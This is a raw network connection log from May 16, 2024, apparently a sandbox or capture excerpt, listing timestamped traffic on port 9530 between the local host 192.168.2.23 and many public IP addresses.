May 16, 2024 16:38:50.047538996 CEST	9530	48200	25.126.104.194	192.168.2.23
May 16, 2024 16:38:50.047543049 CEST	9530	33664	194.152.174.58	192.168.2.23
May 16, 2024 16:38:50.047544956 CEST	9530	42450	109.39.36.80	192.168.2.23
May 16, 2024 16:38:50.047549009 CEST	9530	58474	12.173.175.87	192.168.2.23
May 16, 2024 16:38:50.047552109 CEST	9530	43380	187.51.43.152	192.168.2.23
May 16, 2024 16:38:50.047555923 CEST	9530	45722	189.95.171.105	192.168.2.23
May 16, 2024 16:38:50.047559023 CEST	45988	9530	192.168.2.23	188.164.221.214
May 16, 2024 16:38:50.047559977 CEST	51886	9530	192.168.2.23	20.91.217.159
May 16, 2024 16:38:50.047559023 CEST	49964	9530	192.168.2.23	137.178.72.48
May 16, 2024 16:38:50.047559977 CEST	37472	9530	192.168.2.23	189.148.134.203
May 16, 2024 16:38:50.047559977 CEST	42928	9530	192.168.2.23	169.13.13.47
May 16, 2024 16:38:50.047559977 CEST	51000	9530	192.168.2.23	188.173.92.190
May 16, 2024 16:38:50.047559977 CEST	59712	9530	192.168.2.23	123.61.117.54
May 16, 2024 16:38:50.047568083 CEST	44226	9530	192.168.2.23	51.131.228.75
May 16, 2024 16:38:50.047568083 CEST	41162	9530	192.168.2.23	53.205.153.51
May 16, 2024 16:38:50.047569036 CEST	41460	9530	192.168.2.23	82.19.76.101
May 16, 2024 16:38:50.047569990 CEST	33754	9530	192.168.2.23	87.176.145.125
May 16, 2024 16:38:50.047581911 CEST	37936	9530	192.168.2.23	193.85.127.188
May 16, 2024 16:38:50.047583103 CEST	41386	9530	192.168.2.23	197.93.239.189
May 16, 2024 16:38:50.047590017 CEST	45988	9530	192.168.2.23	188.164.221.214
May 16, 2024 16:38:50.047591925 CEST	43114	9530	192.168.2.23	190.149.49.44
May 16, 2024 16:38:50.047595024 CEST	56248	9530	192.168.2.23	49.212.210.65
May 16, 2024 16:38:50.047595024 CEST	57552	9530	192.168.2.23	50.69.17.109
May 16, 2024 16:38:50.047601938 CEST	52054	9530	192.168.2.23	78.104.122.133
May 16, 2024 16:38:50.047606945 CEST	60964	9530	192.168.2.23	44.27.114.37
May 16, 2024 16:38:50.047615051 CEST	48200	9530	192.168.2.23	25.126.104.194
May 16, 2024 16:38:50.047615051 CEST	33664	9530	192.168.2.23	194.152.174.58
May 16, 2024 16:38:50.047627926 CEST	43766	9530	192.168.2.23	94.61.179.164
May 16, 2024 16:38:50.047630072 CEST	45722	9530	192.168.2.23	189.95.171.105
May 16, 2024 16:38:50.047637939 CEST	34156	9530	192.168.2.23	13.203.32.174
May 16, 2024 16:38:50.047650099 CEST	56142	9530	192.168.2.23	168.154.218.223
May 16, 2024 16:38:50.047650099 CEST	43380	9530	192.168.2.23	187.51.43.152
May 16, 2024 16:38:50.047652006 CEST	43588	9530	192.168.2.23	111.221.110.98
May 16, 2024 16:38:50.047672033 CEST	51886	9530	192.168.2.23	20.91.217.159
May 16, 2024 16:38:50.047681093 CEST	42450	9530	192.168.2.23	109.39.36.80
May 16, 2024 16:38:50.047691107 CEST	58474	9530	192.168.2.23	12.173.175.87
May 16, 2024 16:38:50.047691107 CEST	55998	9530	192.168.2.23	221.204.3.118
May 16, 2024 16:38:50.047691107 CEST	33084	9530	192.168.2.23	132.139.153.173
May 16, 2024 16:38:50.047733068 CEST	43766	9530	192.168.2.23	94.61.179.164
May 16, 2024 16:38:50.047734976 CEST	34156	9530	192.168.2.23	13.203.32.174
May 16, 2024 16:38:50.047739029 CEST	56248	9530	192.168.2.23	49.212.210.65
May 16, 2024 16:38:50.047739029 CEST	57552	9530	192.168.2.23	50.69.17.109
May 16, 2024 16:38:50.047739029 CEST	43588	9530	192.168.2.23	111.221.110.98
May 16, 2024 16:38:50.047741890 CEST	56142	9530	192.168.2.23	168.154.218.223
May 16, 2024 16:38:50.047741890 CEST	45722	9530	192.168.2.23	189.95.171.105
May 16, 2024 16:38:50.047741890 CEST	55998	9530	192.168.2.23	221.204.3.118
May 16, 2024 16:38:50.047743082 CEST	48200	9530	192.168.2.23	25.126.104.194
May 16, 2024 16:38:50.047743082 CEST	33084	9530	192.168.2.23	132.139.153.173
May 16, 2024 16:38:50.047743082 CEST	33664	9530	192.168.2.23	194.152.174.58
May 16, 2024 16:38:50.047743082 CEST	60964	9530	192.168.2.23	44.27.114.37
May 16, 2024 16:38:50.047743082 CEST	58474	9530	192.168.2.23	12.173.175.87
May 16, 2024 16:38:50.047753096 CEST	43380	9530	192.168.2.23	187.51.43.152
May 16, 2024 16:38:50.047765970 CEST	52054	9530	192.168.2.23	78.104.122.133
May 16, 2024 16:38:50.047775030 CEST	43114	9530	192.168.2.23	190.149.49.44
May 16, 2024 16:38:50.047775030 CEST	42450	9530	192.168.2.23	109.39.36.80
May 16, 2024 16:38:50.048717022 CEST	9530	42348	164.167.225.130	192.168.2.23
May 16, 2024 16:38:50.048727989 CEST	9530	53134	37.255.236.205	192.168.2.23
May 16, 2024 16:38:50.048738003 CEST	9530	53912	90.208.22.26	192.168.2.23
May 16, 2024 16:38:50.048753977 CEST	9530	59786	86.164.81.165	192.168.2.23
May 16, 2024 16:38:50.048763037 CEST	9530	35076	107.85.132.164	192.168.2.23
May 16, 2024 16:38:50.048768044 CEST	42348	9530	192.168.2.23	164.167.225.130
May 16, 2024 16:38:50.048772097 CEST	9530	36780	84.53.19.147	192.168.2.23
May 16, 2024 16:38:50.048774004 CEST	53134	9530	192.168.2.23	37.255.236.205
May 16, 2024 16:38:50.048778057 CEST	53912	9530	192.168.2.23	90.208.22.26
May 16, 2024 16:38:50.048783064 CEST	9530	46022	200.192.114.75	192.168.2.23
May 16, 2024 16:38:50.048790932 CEST	9530	51458	65.82.114.22	192.168.2.23
May 16, 2024 16:38:50.048796892 CEST	59786	9530	192.168.2.23	86.164.81.165
May 16, 2024 16:38:50.048796892 CEST	36780	9530	192.168.2.23	84.53.19.147
May 16, 2024 16:38:50.048800945 CEST	9530	46016	96.10.39.244	192.168.2.23
May 16, 2024 16:38:50.048810959 CEST	9530	38918	35.5.142.23	192.168.2.23
May 16, 2024 16:38:50.048813105 CEST	35076	9530	192.168.2.23	107.85.132.164
May 16, 2024 16:38:50.048815966 CEST	59786	9530	192.168.2.23	86.164.81.165
May 16, 2024 16:38:50.048820972 CEST	9530	41052	62.12.76.75	192.168.2.23
May 16, 2024 16:38:50.048830032 CEST	9530	41740	77.249.36.58	192.168.2.23
May 16, 2024 16:38:50.048836946 CEST	46016	9530	192.168.2.23	96.10.39.244
May 16, 2024 16:38:50.048836946 CEST	36780	9530	192.168.2.23	84.53.19.147
May 16, 2024 16:38:50.048839092 CEST	35076	9530	192.168.2.23	107.85.132.164
May 16, 2024 16:38:50.048839092 CEST	9530	46942	27.91.196.29	192.168.2.23
May 16, 2024 16:38:50.048839092 CEST	51458	9530	192.168.2.23	65.82.114.22
May 16, 2024 16:38:50.048839092 CEST	46022	9530	192.168.2.23	200.192.114.75
May 16, 2024 16:38:50.048849106 CEST	9530	37590	12.172.250.221	192.168.2.23
May 16, 2024 16:38:50.048857927 CEST	42348	9530	192.168.2.23	164.167.225.130
May 16, 2024 16:38:50.048857927 CEST	53912	9530	192.168.2.23	90.208.22.26
May 16, 2024 16:38:50.048861027 CEST	53134	9530	192.168.2.23	37.255.236.205
May 16, 2024 16:38:50.048863888 CEST	9530	42948	129.154.204.88	192.168.2.23
May 16, 2024 16:38:50.048868895 CEST	9530	45312	188.74.50.28	192.168.2.23
May 16, 2024 16:38:50.048872948 CEST	9530	46768	192.50.34.36	192.168.2.23
May 16, 2024 16:38:50.048876047 CEST	9530	40638	203.139.168.178	192.168.2.23
May 16, 2024 16:38:50.048880100 CEST	9530	38548	179.129.11.88	192.168.2.23
May 16, 2024 16:38:50.048882961 CEST	9530	50814	204.198.66.255	192.168.2.23
May 16, 2024 16:38:50.048887968 CEST	9530	58884	186.46.95.60	192.168.2.23
May 16, 2024 16:38:50.048892975 CEST	9530	58892	48.51.165.142	192.168.2.23
May 16, 2024 16:38:50.048896074 CEST	9530	42842	76.224.22.57	192.168.2.23
May 16, 2024 16:38:50.048899889 CEST	9530	52240	146.254.171.241	192.168.2.23
May 16, 2024 16:38:50.048902988 CEST	9530	36006	70.146.226.174	192.168.2.23
May 16, 2024 16:38:50.048908949 CEST	9530	48016	218.218.131.147	192.168.2.23
May 16, 2024 16:38:50.048912048 CEST	9530	51036	71.74.233.156	192.168.2.23
May 16, 2024 16:38:50.048916101 CEST	9530	55202	27.163.86.188	192.168.2.23
May 16, 2024 16:38:50.048919916 CEST	9530	35320	17.16.69.65	192.168.2.23
May 16, 2024 16:38:50.048919916 CEST	46022	9530	192.168.2.23	200.192.114.75
May 16, 2024 16:38:50.048919916 CEST	51458	9530	192.168.2.23	65.82.114.22
May 16, 2024 16:38:50.048929930 CEST	9530	54400	150.41.186.17	192.168.2.23
May 16, 2024 16:38:50.048939943 CEST	9530	43256	38.45.198.201	192.168.2.23
May 16, 2024 16:38:50.048943043 CEST	46016	9530	192.168.2.23	96.10.39.244
May 16, 2024 16:38:50.048949957 CEST	9530	33708	20.65.237.135	192.168.2.23
May 16, 2024 16:38:50.048958063 CEST	46942	9530	192.168.2.23	27.91.196.29
May 16, 2024 16:38:50.048959017 CEST	9530	47140	49.174.237.150	192.168.2.23
May 16, 2024 16:38:50.048958063 CEST	46942	9530	192.168.2.23	27.91.196.29
May 16, 2024 16:38:50.048969984 CEST	9530	42526	19.143.213.237	192.168.2.23
May 16, 2024 16:38:50.048979998 CEST	9530	48338	111.156.205.146	192.168.2.23
May 16, 2024 16:38:50.050059080 CEST	9530	36594	220.30.234.129	192.168.2.23
May 16, 2024 16:38:50.050069094 CEST	9530	59758	188.121.105.146	192.168.2.23
May 16, 2024 16:38:50.050077915 CEST	9530	55768	94.99.152.103	192.168.2.23
May 16, 2024 16:38:50.050086975 CEST	9530	33218	71.85.226.131	192.168.2.23
May 16, 2024 16:38:50.050101995 CEST	9530	41872	68.38.59.56	192.168.2.23
May 16, 2024 16:38:50.050115108 CEST	9530	55060	158.104.140.248	192.168.2.23
May 16, 2024 16:38:50.050117970 CEST	9530	58608	120.7.53.192	192.168.2.23
May 16, 2024 16:38:50.050121069 CEST	9530	37358	91.5.206.191	192.168.2.23
May 16, 2024 16:38:50.050128937 CEST	9530	46124	211.244.115.203	192.168.2.23
May 16, 2024 16:38:50.050137043 CEST	9530	54790	36.131.240.112	192.168.2.23
May 16, 2024 16:38:50.050147057 CEST	9530	36814	78.65.90.145	192.168.2.23
May 16, 2024 16:38:50.050156116 CEST	9530	50864	144.169.142.66	192.168.2.23
May 16, 2024 16:38:50.050164938 CEST	9530	41954	60.16.90.147	192.168.2.23
May 16, 2024 16:38:50.051881075 CEST	9530	34602	116.83.31.7	192.168.2.23
May 16, 2024 16:38:50.051891088 CEST	9530	33534	208.216.24.199	192.168.2.23
May 16, 2024 16:38:50.051898956 CEST	9530	51350	156.131.229.174	192.168.2.23
May 16, 2024 16:38:50.051908016 CEST	9530	50656	129.120.127.234	192.168.2.23
May 16, 2024 16:38:50.051917076 CEST	9530	52680	20.120.174.241	192.168.2.23
May 16, 2024 16:38:50.051925898 CEST	9530	53608	104.131.172.115	192.168.2.23
May 16, 2024 16:38:50.051934004 CEST	9530	59242	75.205.198.241	192.168.2.23
May 16, 2024 16:38:50.051942110 CEST	9530	52312	63.13.66.50	192.168.2.23
May 16, 2024 16:38:50.051945925 CEST	9530	37710	98.4.96.238	192.168.2.23
May 16, 2024 16:38:50.051949024 CEST	9530	53364	115.173.218.28	192.168.2.23
May 16, 2024 16:38:50.051955938 CEST	9530	54076	189.167.215.251	192.168.2.23
May 16, 2024 16:38:50.051966906 CEST	9530	41748	86.224.49.198	192.168.2.23
May 16, 2024 16:38:50.051974058 CEST	9530	37442	172.129.168.244	192.168.2.23
May 16, 2024 16:38:50.051983118 CEST	9530	40330	8.227.106.158	192.168.2.23
May 16, 2024 16:38:50.051991940 CEST	9530	36276	136.248.165.141	192.168.2.23
May 16, 2024 16:38:50.052000999 CEST	9530	54326	104.176.87.89	192.168.2.23
May 16, 2024 16:38:50.052011013 CEST	9530	47104	125.165.108.231	192.168.2.23
May 16, 2024 16:38:50.052012920 CEST	41748	9530	192.168.2.23	86.224.49.198
May 16, 2024 16:38:50.052025080 CEST	36276	9530	192.168.2.23	136.248.165.141
May 16, 2024 16:38:50.052030087 CEST	40330	9530	192.168.2.23	8.227.106.158
May 16, 2024 16:38:50.052037954 CEST	54326	9530	192.168.2.23	104.176.87.89
May 16, 2024 16:38:50.052089930 CEST	41748	9530	192.168.2.23	86.224.49.198
May 16, 2024 16:38:50.052092075 CEST	40330	9530	192.168.2.23	8.227.106.158
May 16, 2024 16:38:50.052092075 CEST	54326	9530	192.168.2.23	104.176.87.89
May 16, 2024 16:38:50.052092075 CEST	36276	9530	192.168.2.23	136.248.165.141
May 16, 2024 16:38:50.052149057 CEST	47104	9530	192.168.2.23	125.165.108.231
May 16, 2024 16:38:50.052149057 CEST	47104	9530	192.168.2.23	125.165.108.231
May 16, 2024 16:38:50.052205086 CEST	9530	35252	152.10.133.200	192.168.2.23
May 16, 2024 16:38:50.052217007 CEST	9530	45456	51.244.7.174	192.168.2.23
May 16, 2024 16:38:50.052227974 CEST	9530	54032	81.31.65.164	192.168.2.23
May 16, 2024 16:38:50.052237034 CEST	9530	57766	170.85.41.91	192.168.2.23
May 16, 2024 16:38:50.052247047 CEST	9530	58166	130.131.55.60	192.168.2.23
May 16, 2024 16:38:50.052247047 CEST	35252	9530	192.168.2.23	152.10.133.200
May 16, 2024 16:38:50.052247047 CEST	45456	9530	192.168.2.23	51.244.7.174
May 16, 2024 16:38:50.052254915 CEST	9530	60560	134.134.137.225	192.168.2.23
May 16, 2024 16:38:50.052265882 CEST	9530	50802	202.244.68.82	192.168.2.23
May 16, 2024 16:38:50.052264929 CEST	35252	9530	192.168.2.23	152.10.133.200
May 16, 2024 16:38:50.052275896 CEST	9530	40248	174.213.253.232	192.168.2.23
May 16, 2024 16:38:50.052284002 CEST	9530	35470	104.175.22.251	192.168.2.23
May 16, 2024 16:38:50.052285910 CEST	60560	9530	192.168.2.23	134.134.137.225
May 16, 2024 16:38:50.052289009 CEST	50802	9530	192.168.2.23	202.244.68.82
May 16, 2024 16:38:50.052295923 CEST	58166	9530	192.168.2.23	130.131.55.60
May 16, 2024 16:38:50.052300930 CEST	9530	45496	120.74.255.178	192.168.2.23
May 16, 2024 16:38:50.052306890 CEST	40248	9530	192.168.2.23	174.213.253.232
May 16, 2024 16:38:50.052310944 CEST	9530	52856	117.62.70.65	192.168.2.23
May 16, 2024 16:38:50.052318096 CEST	45456	9530	192.168.2.23	51.244.7.174
May 16, 2024 16:38:50.052320004 CEST	9530	38590	52.98.74.230	192.168.2.23
May 16, 2024 16:38:50.052321911 CEST	57766	9530	192.168.2.23	170.85.41.91
May 16, 2024 16:38:50.052321911 CEST	54032	9530	192.168.2.23	81.31.65.164
May 16, 2024 16:38:50.052330017 CEST	9530	44084	167.42.217.222	192.168.2.23
May 16, 2024 16:38:50.052337885 CEST	9530	44818	94.198.81.232	192.168.2.23
May 16, 2024 16:38:50.052339077 CEST	54032	9530	192.168.2.23	81.31.65.164
May 16, 2024 16:38:50.052339077 CEST	57766	9530	192.168.2.23	170.85.41.91
May 16, 2024 16:38:50.052340031 CEST	45496	9530	192.168.2.23	120.74.255.178
May 16, 2024 16:38:50.052347898 CEST	9530	58812	209.19.131.232	192.168.2.23
May 16, 2024 16:38:50.052349091 CEST	60560	9530	192.168.2.23	134.134.137.225
May 16, 2024 16:38:50.052351952 CEST	35470	9530	192.168.2.23	104.175.22.251
May 16, 2024 16:38:50.052352905 CEST	52856	9530	192.168.2.23	117.62.70.65
May 16, 2024 16:38:50.052352905 CEST	38590	9530	192.168.2.23	52.98.74.230
May 16, 2024 16:38:50.052357912 CEST	9530	52820	25.185.111.177	192.168.2.23
May 16, 2024 16:38:50.052367926 CEST	9530	38546	2.215.171.109	192.168.2.23
May 16, 2024 16:38:50.052370071 CEST	44084	9530	192.168.2.23	167.42.217.222
May 16, 2024 16:38:50.052407026 CEST	58812	9530	192.168.2.23	209.19.131.232
May 16, 2024 16:38:50.052407026 CEST	52820	9530	192.168.2.23	25.185.111.177
May 16, 2024 16:38:50.052407026 CEST	58166	9530	192.168.2.23	130.131.55.60
May 16, 2024 16:38:50.052407980 CEST	44818	9530	192.168.2.23	94.198.81.232
May 16, 2024 16:38:50.052407980 CEST	50802	9530	192.168.2.23	202.244.68.82
May 16, 2024 16:38:50.052409887 CEST	40248	9530	192.168.2.23	174.213.253.232
May 16, 2024 16:38:50.052428007 CEST	35470	9530	192.168.2.23	104.175.22.251
May 16, 2024 16:38:50.052436113 CEST	38546	9530	192.168.2.23	2.215.171.109
May 16, 2024 16:38:50.052448988 CEST	44818	9530	192.168.2.23	94.198.81.232
May 16, 2024 16:38:50.052448988 CEST	38590	9530	192.168.2.23	52.98.74.230
May 16, 2024 16:38:50.052449942 CEST	45496	9530	192.168.2.23	120.74.255.178
May 16, 2024 16:38:50.052448988 CEST	44084	9530	192.168.2.23	167.42.217.222
May 16, 2024 16:38:50.052449942 CEST	52856	9530	192.168.2.23	117.62.70.65
May 16, 2024 16:38:50.052449942 CEST	58812	9530	192.168.2.23	209.19.131.232
May 16, 2024 16:38:50.052481890 CEST	38546	9530	192.168.2.23	2.215.171.109
May 16, 2024 16:38:50.052488089 CEST	52820	9530	192.168.2.23	25.185.111.177
May 16, 2024 16:38:50.053006887 CEST	9530	48298	169.72.220.216	192.168.2.23
May 16, 2024 16:38:50.053019047 CEST	9530	44762	223.133.106.125	192.168.2.23
May 16, 2024 16:38:50.053026915 CEST	9530	58962	169.100.20.107	192.168.2.23
May 16, 2024 16:38:50.053036928 CEST	9530	43692	108.89.164.74	192.168.2.23
May 16, 2024 16:38:50.053044081 CEST	9530	46250	194.29.191.1	192.168.2.23
May 16, 2024 16:38:50.053052902 CEST	9530	49886	188.158.88.110	192.168.2.23
May 16, 2024 16:38:50.053055048 CEST	44762	9530	192.168.2.23	223.133.106.125
May 16, 2024 16:38:50.053056955 CEST	48298	9530	192.168.2.23	169.72.220.216
May 16, 2024 16:38:50.053062916 CEST	9530	55944	145.205.178.107	192.168.2.23
May 16, 2024 16:38:50.053062916 CEST	58962	9530	192.168.2.23	169.100.20.107
May 16, 2024 16:38:50.053071976 CEST	9530	42926	218.57.12.46	192.168.2.23
May 16, 2024 16:38:50.053081036 CEST	46250	9530	192.168.2.23	194.29.191.1
May 16, 2024 16:38:50.053081989 CEST	9530	45198	114.199.191.65	192.168.2.23
May 16, 2024 16:38:50.053091049 CEST	9530	38404	70.98.192.175	192.168.2.23
May 16, 2024 16:38:50.053096056 CEST	58962	9530	192.168.2.23	169.100.20.107
May 16, 2024 16:38:50.053098917 CEST	48298	9530	192.168.2.23	169.72.220.216
May 16, 2024 16:38:50.053100109 CEST	9530	50250	67.27.239.117	192.168.2.23
May 16, 2024 16:38:50.053108931 CEST	9530	53566	89.97.236.160	192.168.2.23
May 16, 2024 16:38:50.053114891 CEST	45198	9530	192.168.2.23	114.199.191.65
May 16, 2024 16:38:50.053114891 CEST	55944	9530	192.168.2.23	145.205.178.107
May 16, 2024 16:38:50.053117990 CEST	9530	51008	36.47.205.230	192.168.2.23
May 16, 2024 16:38:50.053126097 CEST	9530	54726	146.32.22.51	192.168.2.23
May 16, 2024 16:38:50.053134918 CEST	9530	37472	189.148.134.203	192.168.2.23
May 16, 2024 16:38:50.053143024 CEST	9530	42928	169.13.13.47	192.168.2.23
May 16, 2024 16:38:50.053150892 CEST	9530	51000	188.173.92.190	192.168.2.23
May 16, 2024 16:38:50.053159952 CEST	9530	41162	53.205.153.51	192.168.2.23
May 16, 2024 16:38:50.053179979 CEST	45198	9530	192.168.2.23	114.199.191.65
May 16, 2024 16:38:50.053181887 CEST	46250	9530	192.168.2.23	194.29.191.1
May 16, 2024 16:38:50.053181887 CEST	42926	9530	192.168.2.23	218.57.12.46
May 16, 2024 16:38:50.053181887 CEST	55944	9530	192.168.2.23	145.205.178.107
May 16, 2024 16:38:50.053181887 CEST	42926	9530	192.168.2.23	218.57.12.46
May 16, 2024 16:38:50.053184986 CEST	44762	9530	192.168.2.23	223.133.106.125
May 16, 2024 16:38:50.053605080 CEST	9530	41460	82.19.76.101	192.168.2.23
May 16, 2024 16:38:50.053616047 CEST	9530	44226	51.131.228.75	192.168.2.23
May 16, 2024 16:38:50.053622961 CEST	9530	59712	123.61.117.54	192.168.2.23
May 16, 2024 16:38:50.053627968 CEST	9530	33754	87.176.145.125	192.168.2.23
May 16, 2024 16:38:50.053636074 CEST	9530	49964	137.178.72.48	192.168.2.23
May 16, 2024 16:38:50.053646088 CEST	9530	37936	193.85.127.188	192.168.2.23
May 16, 2024 16:38:50.053653955 CEST	9530	41386	197.93.239.189	192.168.2.23
May 16, 2024 16:38:50.053663969 CEST	9530	45988	188.164.221.214	192.168.2.23
May 16, 2024 16:38:50.053673029 CEST	9530	51886	20.91.217.159	192.168.2.23
May 16, 2024 16:38:50.053680897 CEST	9530	43766	94.61.179.164	192.168.2.23
May 16, 2024 16:38:50.053689957 CEST	9530	34156	13.203.32.174	192.168.2.23
May 16, 2024 16:38:50.053697109 CEST	9530	56248	49.212.210.65	192.168.2.23
May 16, 2024 16:38:50.053705931 CEST	9530	57552	50.69.17.109	192.168.2.23
May 16, 2024 16:38:50.053714991 CEST	9530	56142	168.154.218.223	192.168.2.23
May 16, 2024 16:38:50.053724051 CEST	9530	45722	189.95.171.105	192.168.2.23
May 16, 2024 16:38:50.053730965 CEST	9530	43588	111.221.110.98	192.168.2.23
May 16, 2024 16:38:50.053735018 CEST	9530	48200	25.126.104.194	192.168.2.23
May 16, 2024 16:38:50.053742886 CEST	9530	55998	221.204.3.118	192.168.2.23
May 16, 2024 16:38:50.055299044 CEST	9530	33664	194.152.174.58	192.168.2.23
May 16, 2024 16:38:50.055310011 CEST	9530	33084	132.139.153.173	192.168.2.23
May 16, 2024 16:38:50.055318117 CEST	9530	43380	187.51.43.152	192.168.2.23
May 16, 2024 16:38:50.055325985 CEST	9530	60964	44.27.114.37	192.168.2.23
May 16, 2024 16:38:50.055332899 CEST	9530	58474	12.173.175.87	192.168.2.23
May 16, 2024 16:38:50.055341959 CEST	9530	52054	78.104.122.133	192.168.2.23
May 16, 2024 16:38:50.055350065 CEST	9530	43114	190.149.49.44	192.168.2.23
May 16, 2024 16:38:50.055357933 CEST	9530	42450	109.39.36.80	192.168.2.23
May 16, 2024 16:38:50.055366039 CEST	9530	59786	86.164.81.165	192.168.2.23
May 16, 2024 16:38:50.055375099 CEST	9530	35076	107.85.132.164	192.168.2.23
May 16, 2024 16:38:50.055382967 CEST	9530	36780	84.53.19.147	192.168.2.23
May 16, 2024 16:38:50.055392027 CEST	9530	42348	164.167.225.130	192.168.2.23
May 16, 2024 16:38:50.055399895 CEST	9530	53912	90.208.22.26	192.168.2.23
May 16, 2024 16:38:50.055408955 CEST	9530	49964	137.178.72.48	192.168.2.23
May 16, 2024 16:38:50.055417061 CEST	9530	54726	146.32.22.51	192.168.2.23
May 16, 2024 16:38:50.055424929 CEST	9530	41162	53.205.153.51	192.168.2.23
May 16, 2024 16:38:50.055483103 CEST	36460	9530	192.168.2.23	49.154.66.28
May 16, 2024 16:38:50.055491924 CEST	57704	9530	192.168.2.23	213.64.188.180
May 16, 2024 16:38:50.055505991 CEST	58038	9530	192.168.2.23	151.247.43.111
May 16, 2024 16:38:50.056504965 CEST	9530	42928	169.13.13.47	192.168.2.23
May 16, 2024 16:38:50.056515932 CEST	9530	53134	37.255.236.205	192.168.2.23
May 16, 2024 16:38:50.056524038 CEST	9530	46022	200.192.114.75	192.168.2.23
May 16, 2024 16:38:50.056533098 CEST	9530	51458	65.82.114.22	192.168.2.23
May 16, 2024 16:38:50.056541920 CEST	9530	46016	96.10.39.244	192.168.2.23
May 16, 2024 16:38:50.056550026 CEST	9530	37472	189.148.134.203	192.168.2.23
May 16, 2024 16:38:50.056557894 CEST	9530	46942	27.91.196.29	192.168.2.23
May 16, 2024 16:38:50.056566954 CEST	9530	37936	193.85.127.188	192.168.2.23
May 16, 2024 16:38:50.056576967 CEST	9530	59712	123.61.117.54	192.168.2.23
May 16, 2024 16:38:50.056585073 CEST	9530	44226	51.131.228.75	192.168.2.23
May 16, 2024 16:38:50.056593895 CEST	9530	41386	197.93.239.189	192.168.2.23
May 16, 2024 16:38:50.056602955 CEST	9530	41460	82.19.76.101	192.168.2.23
May 16, 2024 16:38:50.056611061 CEST	9530	33754	87.176.145.125	192.168.2.23
May 16, 2024 16:38:50.056617975 CEST	33304	9530	192.168.2.23	210.253.73.232
May 16, 2024 16:38:50.056619883 CEST	9530	51886	20.91.217.159	192.168.2.23
May 16, 2024 16:38:50.056627989 CEST	59866	9530	192.168.2.23	163.81.225.168
May 16, 2024 16:38:50.056629896 CEST	9530	45988	188.164.221.214	192.168.2.23
May 16, 2024 16:38:50.056638002 CEST	32772	9530	192.168.2.23	184.75.98.82
May 16, 2024 16:38:50.056639910 CEST	9530	43114	190.149.49.44	192.168.2.23
May 16, 2024 16:38:50.056649923 CEST	9530	56248	49.212.210.65	192.168.2.23
May 16, 2024 16:38:50.056658030 CEST	9530	57552	50.69.17.109	192.168.2.23
May 16, 2024 16:38:50.056689978 CEST	47682	9530	192.168.2.23	217.151.108.3
May 16, 2024 16:38:50.056699991 CEST	48838	9530	192.168.2.23	59.92.220.220
May 16, 2024 16:38:50.056704044 CEST	48340	9530	192.168.2.23	39.208.170.132
May 16, 2024 16:38:50.056731939 CEST	33452	9530	192.168.2.23	1.109.32.78
May 16, 2024 16:38:50.056735039 CEST	53892	9530	192.168.2.23	96.239.71.49
May 16, 2024 16:38:50.056821108 CEST	42828	9530	192.168.2.23	57.167.15.28
May 16, 2024 16:38:50.056822062 CEST	44832	9530	192.168.2.23	49.71.239.242
May 16, 2024 16:38:50.056823015 CEST	56882	9530	192.168.2.23	51.243.99.154
May 16, 2024 16:38:50.056822062 CEST	52926	9530	192.168.2.23	179.1.52.150
May 16, 2024 16:38:50.057589054 CEST	9530	52054	78.104.122.133	192.168.2.23
May 16, 2024 16:38:50.057600021 CEST	9530	60964	44.27.114.37	192.168.2.23
May 16, 2024 16:38:50.057607889 CEST	9530	48200	25.126.104.194	192.168.2.23
May 16, 2024 16:38:50.057616949 CEST	9530	33664	194.152.174.58	192.168.2.23
May 16, 2024 16:38:50.057620049 CEST	56834	9530	192.168.2.23	93.38.166.122
May 16, 2024 16:38:50.057625055 CEST	9530	43766	94.61.179.164	192.168.2.23
May 16, 2024 16:38:50.057632923 CEST	9530	45722	189.95.171.105	192.168.2.23
May 16, 2024 16:38:50.057641029 CEST	9530	34156	13.203.32.174	192.168.2.23
May 16, 2024 16:38:50.057651043 CEST	9530	43588	111.221.110.98	192.168.2.23
May 16, 2024 16:38:50.057660103 CEST	9530	56142	168.154.218.223	192.168.2.23
May 16, 2024 16:38:50.057670116 CEST	9530	43380	187.51.43.152	192.168.2.23
May 16, 2024 16:38:50.057677984 CEST	9530	41748	86.224.49.198	192.168.2.23
May 16, 2024 16:38:50.057687044 CEST	9530	40330	8.227.106.158	192.168.2.23
May 16, 2024 16:38:50.057696104 CEST	9530	36276	136.248.165.141	192.168.2.23
May 16, 2024 16:38:50.057703972 CEST	9530	54326	104.176.87.89	192.168.2.23
May 16, 2024 16:38:50.057708025 CEST	43670	9530	192.168.2.23	191.80.81.30
May 16, 2024 16:38:50.057713985 CEST	9530	47104	125.165.108.231	192.168.2.23
May 16, 2024 16:38:50.057713985 CEST	40180	9530	192.168.2.23	151.17.75.175
May 16, 2024 16:38:50.057723999 CEST	9530	42450	109.39.36.80	192.168.2.23
May 16, 2024 16:38:50.057729959 CEST	36074	9530	192.168.2.23	125.233.128.118
May 16, 2024 16:38:50.057730913 CEST	47916	9530	192.168.2.23	69.233.146.200
May 16, 2024 16:38:50.057734966 CEST	9530	35252	152.10.133.200	192.168.2.23
May 16, 2024 16:38:50.057744026 CEST	9530	58474	12.173.175.87	192.168.2.23
May 16, 2024 16:38:50.057780027 CEST	56460	9530	192.168.2.23	139.190.33.62
May 16, 2024 16:38:50.057799101 CEST	50276	9530	192.168.2.23	143.141.79.10
May 16, 2024 16:38:50.057826042 CEST	48046	9530	192.168.2.23	75.209.124.243
May 16, 2024 16:38:50.057832003 CEST	57880	9530	192.168.2.23	132.54.11.55
May 16, 2024 16:38:50.057832003 CEST	47634	9530	192.168.2.23	212.1.173.10
May 16, 2024 16:38:50.057843924 CEST	37640	9530	192.168.2.23	188.1.70.241
May 16, 2024 16:38:50.057845116 CEST	50644	9530	192.168.2.23	186.18.201.192
May 16, 2024 16:38:50.057847023 CEST	56914	9530	192.168.2.23	81.179.148.181
May 16, 2024 16:38:50.058231115 CEST	9530	45456	51.244.7.174	192.168.2.23
May 16, 2024 16:38:50.058242083 CEST	9530	55998	221.204.3.118	192.168.2.23
May 16, 2024 16:38:50.058250904 CEST	9530	54032	81.31.65.164	192.168.2.23
May 16, 2024 16:38:50.058259010 CEST	9530	33084	132.139.153.173	192.168.2.23
May 16, 2024 16:38:50.058267117 CEST	9530	57766	170.85.41.91	192.168.2.23
May 16, 2024 16:38:50.058274984 CEST	9530	60560	134.134.137.225	192.168.2.23
May 16, 2024 16:38:50.058284044 CEST	9530	42348	164.167.225.130	192.168.2.23
May 16, 2024 16:38:50.058291912 CEST	9530	40248	174.213.253.232	192.168.2.23
May 16, 2024 16:38:50.058300972 CEST	9530	53134	37.255.236.205	192.168.2.23
